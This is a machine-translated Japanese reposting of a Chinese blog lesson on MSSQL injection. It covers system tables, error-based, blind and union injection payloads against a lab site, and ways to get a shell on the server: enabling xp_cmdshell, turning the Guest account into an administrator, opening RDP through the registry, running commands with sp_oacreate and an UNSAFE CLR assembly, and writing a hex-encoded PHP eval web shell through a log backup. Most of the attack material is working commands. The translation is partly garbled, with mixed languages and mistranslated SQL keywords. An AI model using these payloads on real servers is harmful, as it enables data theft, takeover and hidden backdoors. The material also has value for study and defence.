高度なネットワーク セキュリティ学習レッスン 14 - MSSQL インジェクション

記事ディレクトリ


1.MSsqlデータベース

厳密に型指定されたデータベースでは、数値と文字が厳密に区別されます。


2.MSsqlの構造

デフォルトのデータベースは 4 つあります。

  • 1. マスターは、(重点)
    SQL Server インスタンスの構成、権限、データベース定義、およびその他の必要な情報を保存します。
  • 2. モデル
    テンプレートデータベース。新しいデータベース (システム データベースの TempDB を含む) を作成するたびに、Model データベースを使用してレプリカ データベースが作成され、データベースの作成時に使用した名前に変更されます。
  • 3. msdb
    エージェント データベース。SQL Server エージェントやスケジュールされたジョブなどを使用してアラートを構成するために使用されます。
  • 4. Tempdb は
    データを一時的に保存し、ユーザー定義のテーブルやインデックスなど、システムの運用中に一時的に生成されるデータを保存するために使用されます。

3.MSsqlキーテーブル

1.マスターデータベースのsysdatabasesテーブル

Sysdatabases テーブルはマスター データベースにのみ保存されます。このテーブルに保存される所有的库名主なフィールドは次のとおりです: name(データベース名)

2. システムオブジェクトテーブル

このシステム テーブルは、ユーザーが作成したデータベースであっても、システムのデフォルト データベースであっても、すべてのデータベースに存在します。このテーブルは保存されます当前数据库所有的表名(MySQL の information_schema データベースの tables テーブルと同様)。主なフィールドは、name (テーブル名)、id (テーブル ID)、xtype (作成されたオブジェクト) です。
の場合はxtype='U'、ユーザーが作成したテーブルが代表となります。


  • MySQLのデータベースパス方式: Mysql: information_schema.tables
    Mssql: master. dbo.sysobjectsとは異なります。

3. Syscolumns テーブル

このシステム テーブルは、ユーザーが作成したデータベースであっても、システムのデフォルト データベースであっても、すべてのデータベースに存在します。
テーブルが保存されます当前数据库所有的字段名主なフィールドは、name (それぞれフィールド名)、id (テーブル ID) です。ID は、sysobjects テーブルから取得したテーブルの ID 番号です。


4. Mssqlの共通機能

関数 機能効果
データベース名() 現在のデータベースの名前を返します。
ホスト名() コンピュータ名を返す
現在の使用者 現在のデータベースのユーザー名を返します
ユーザー データベースユーザー
部分文字列() 文字列インターセプト関数
@@バージョン データベースのバージョンを表示する
char() アスキー変換機能
Cast(type() としてのテキスト) 文字種の変換に失敗した場合、テキストの結果がエラーとして報告され、ページに表示されます。
オブジェクトID() テーブル名に基づいてデータベーステーブル名IDを返します。
オブジェクト名() IDに基づいてデータベーステーブル名を返します
Col_name(object_id,column_id) 例:Col_name(object_id('users'),2) 指定されたテーブル内の指定されたフィールド (列) の名前を返します。

5.Mssql エラー挿入

Mssql は厳密に型指定されたデータベースであるため、データ型が一致しない場合はエラーが報告されます。現時点では、これを使用して1+user などの計算を実行四则运算できます。整型数据和字符型数据

POC の例:'or 1=convert(int,@@version)--


6. Mssql のブラインド インジェクション

mysql に似ています区别在于使用的函数不同

次の関数はブラインド インジェクションによく使用されます。

  • 1. patindex(pattern,string)
    # 文字列内で特定の文字または正規表現が初めて出現する位置を返します。

  • 2. replace(string,substring1,substring2)
    #文字列に出現する部分文字列を別の文字列に置き換えます。つまり、文字列に出現する substring1 を substring2 に置き換えます。
    例: replace('1-a 2-b','-', ':')、戻り結果は次のとおりです: 1:a 2:b

  • 3.replicate(string,n)
    #指定された回数だけ文字列をコピーします
    例:replicate('abc',3)、戻り結果は次のとおりです:abcabcabc

  • 4.stuff(string,pos,delete_length,insertstring)
    #最初に文字列内の文字列を削除し、次に置換として新しい部分文字列を挿入します。
    例:stuff('xyz',2,1,'abc'), return結果は次のようになります: xabcz

  • 5. upper(string) と lower(string)
    #文字列を大文字または小文字に変換します

  • 6. rtrim(string) および ltrim(string) #
    文字列の末尾のスペースまたは先頭のスペースを削除します

  • 7. charindex(expression1,expression2,[start_location])
    #文字列内の指定された式の開始位置を返します。位置が照会された場合は位置を返し、そうでない場合は false を返します。また、charindex のパラメータでは大文字と小文字が区別されません。


7. 関節注射

1. 現在のテーブルの列数を取得します。

id=-1 order by 4--+
4 はエラーを報告しません、5 はエラーを報告します

2. 現在のデータベース名を取得します。

id=-1 union all select 1,2,db_name(),4--+
ここに戻ります: mozhe_db

3. テーブル名を取得する

id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
ここに戻る: 管理

次のテーブルを取得したい場合は、古い方法を使用できます。 where の後に: と name !='manage' を追加するだけで、次のテーブル名がポップアップ表示されます。

4. テーブルIDを取得する

id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
ここに戻ってください: 5575058

5. テーブルのフィールド名を取得する

id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
ここに戻ります: ユーザー名

次のフィールド名を取得したい場合は、古い方法を使用できます。 where の後に次の名前を付けて !=' username' を追加するだけで、次のフィールド名がポップアップ表示されます。

6. 管理テーブルのユーザー名フィールドのデータを取得します

id=-1 union all select top 1 1,2, username ,4 from manage --+
ここに戻ります: admin_mz

次のデータを取得したい場合は、古い方法を使用して最後に where username !='admin_mz' を直接追加すると、次のフィールド名がポップアップ表示されます。


8. 射出工程

1. 判断権限

ページ エコーが正常であれば、それは正しいことですが、それ以外の場合はエラーが報告されます。POC の例:
and 1=(IS_SRVROLEMEMBER('sysadmin') を選択) –

2. 現在のデータベースを取得する

および 1=(db_name() を選択) –

3. 現在のデータベース内のすべてのデータテーブルを取得します

and 1=convert(int,(select quotename(name) from データベース库名.dbo.sysobjects where xtype='U' FOR XML PATH(''))) –

注意:
変換関数はデータ型を強制的に変換します。
Quotename 関数の主な機能は、ストアド プロシージャ内の列名やテーブル名などに [] や '' などを追加して、SQL ステートメントが正常に実行できるようにすることです。
FOR XML PATH は、クエリ結果セットを XML 形式で表示し、複数行の結果を同じ行に表示します。

4. 現在のデータベース内の指定されたデータテーブルのすべてのフィールドを取得します。

および 1=(データベース名.dbo.syscolumns から引用名(名前) を選択します。ここで、id =(データベース名から ID を選択します...sysobjects 場所、名前='指定されたテーブル名') FOR XML PATH('')) –

5. 指定したデータベースのテーブルデータ内容を取得します

and 1=(指定されたデータベースから上位 1 * を選択します。dbo.除外条件 FOR XML PATH('') の指定されたテーブル名)–


9. ゲットシェル

1.mssql権限

  • sa 権限: データベース操作、ファイル管理、コマンド実行、レジストリ読み取りなどのシステム。mssqlの最高権限です
  • db 権限: ファイル管理、データベース操作など ユーザーと管理者
  • パブリック権限: データベース操作ゲストユーザー

2. SA 権限で xp_cmdshell を開き、ホスト権限を取得します。

1) xp_cmdshell が開いているかどうかを確認します。

select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
ここに画像の説明を挿入します
開くには 1 を返し、閉じるには 0 を返します

  • xp_cmdshell 権限が有効になっていない場合は、次のコマンドを実行して有効にできます。次の 4 つの手順で xp-cmdshell が有効になります。
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
  • または:
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami'; 
  • システム権限を実行できるようになった後は、取得したホスト権限が管理者グループにあることが前提となります。
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
  • execute('sp_configure "show Advanced options",1') #このオプションの値を 1 に設定します
    ここに画像の説明を挿入します

  • execute('reconfigure') #設定を保存
    ここに画像の説明を挿入します

  • 最初のステップでは、xp_cmdshell が開いているかどうかを判断し、戻り値が 1 であるかどうかを判断しますが、コマンドはまだ実行できません。execute('xp_cmdshell "whoami"') を使用します。このコマンドはデフォルトでは無効になっています。
    ここに画像の説明を挿入します

2) 次に、上記の実行手順を使用して xp_cmdshell を開きます。

ここに画像の説明を挿入します

3. sp_oacreate を使用して、SA 権限を持つシステム コマンドを実行します。

使用sp_oacreate的前提:sql server数据服务未降权

SQL サーバーで com コンポーネント sp_oacreate を使用して、システム コマンドを実行できます。

1) 次のコマンドは、sp_oacreate が許可されているかどうかを確認できます。

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

ここに画像の説明を挿入します

2) sp_oacreate をオンにする

EXEC sp_configure 'show advanced options', 1;    
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;

ここに画像の説明を挿入します
このことから、sp_oacreate コマンドにはエコーがないことがわかります。

3) テスト用に add user コマンドを実行します。

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
--上面sql server语言固定,最后一行是执行的系统命令

4. SA 権限は CLR を使用してシステム コマンドを実行します

CLR を作成するには 2 つの方法があります。

  • DLLファイルを使用して作成する
  • ファイル 16 進ストリームを使用して作成

CLR 機能を有効にする

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

権限に問題がある場合は、次のコマンドを実行してください

alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集

CREATE ASSEMBLY [WarSQLKit] 
AUTHORIZATION [dbo] FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令

EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集

DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

5. DB_owner 権限 LOG バックアップ Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

1) SQL サーバーの一般的なバックアップ戦略

  • 毎週の完全バックアップ
  • 1 日 1 回の差分バックアップ
  • 時間ごとのトランザクションバックアップ

2) 使用の前提条件

  • ターゲットマシンは存在します数据库备份文件つまり、テスト データベースを使用する場合、テスト データベースにはデータベースのバックアップ ファイルが必要です。恢复模式得是完整模式
  • Webサイトの絶対パスを知る
  • スタックインジェクションをサポート

3) コードを挿入する

alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);    #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;  #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';     #把操作日志备份到指定文件
drop table cmd;     #删除cmd表

6. 概要

ログ バックアップを使用して、mysql と同様のトロイの木馬の文をログに書き込みます。

データベース復旧モデルをフル モードに変更し、テーブルを作成し、そのテーブルを指定されたパスにバックアップします。

テーブルにトロイの木馬の文を挿入し、既知のパスにログ ファイルをバックアップし、最後に作成したテーブルを削除します。


おすすめ

転載: blog.csdn.net/p36273/article/details/132142108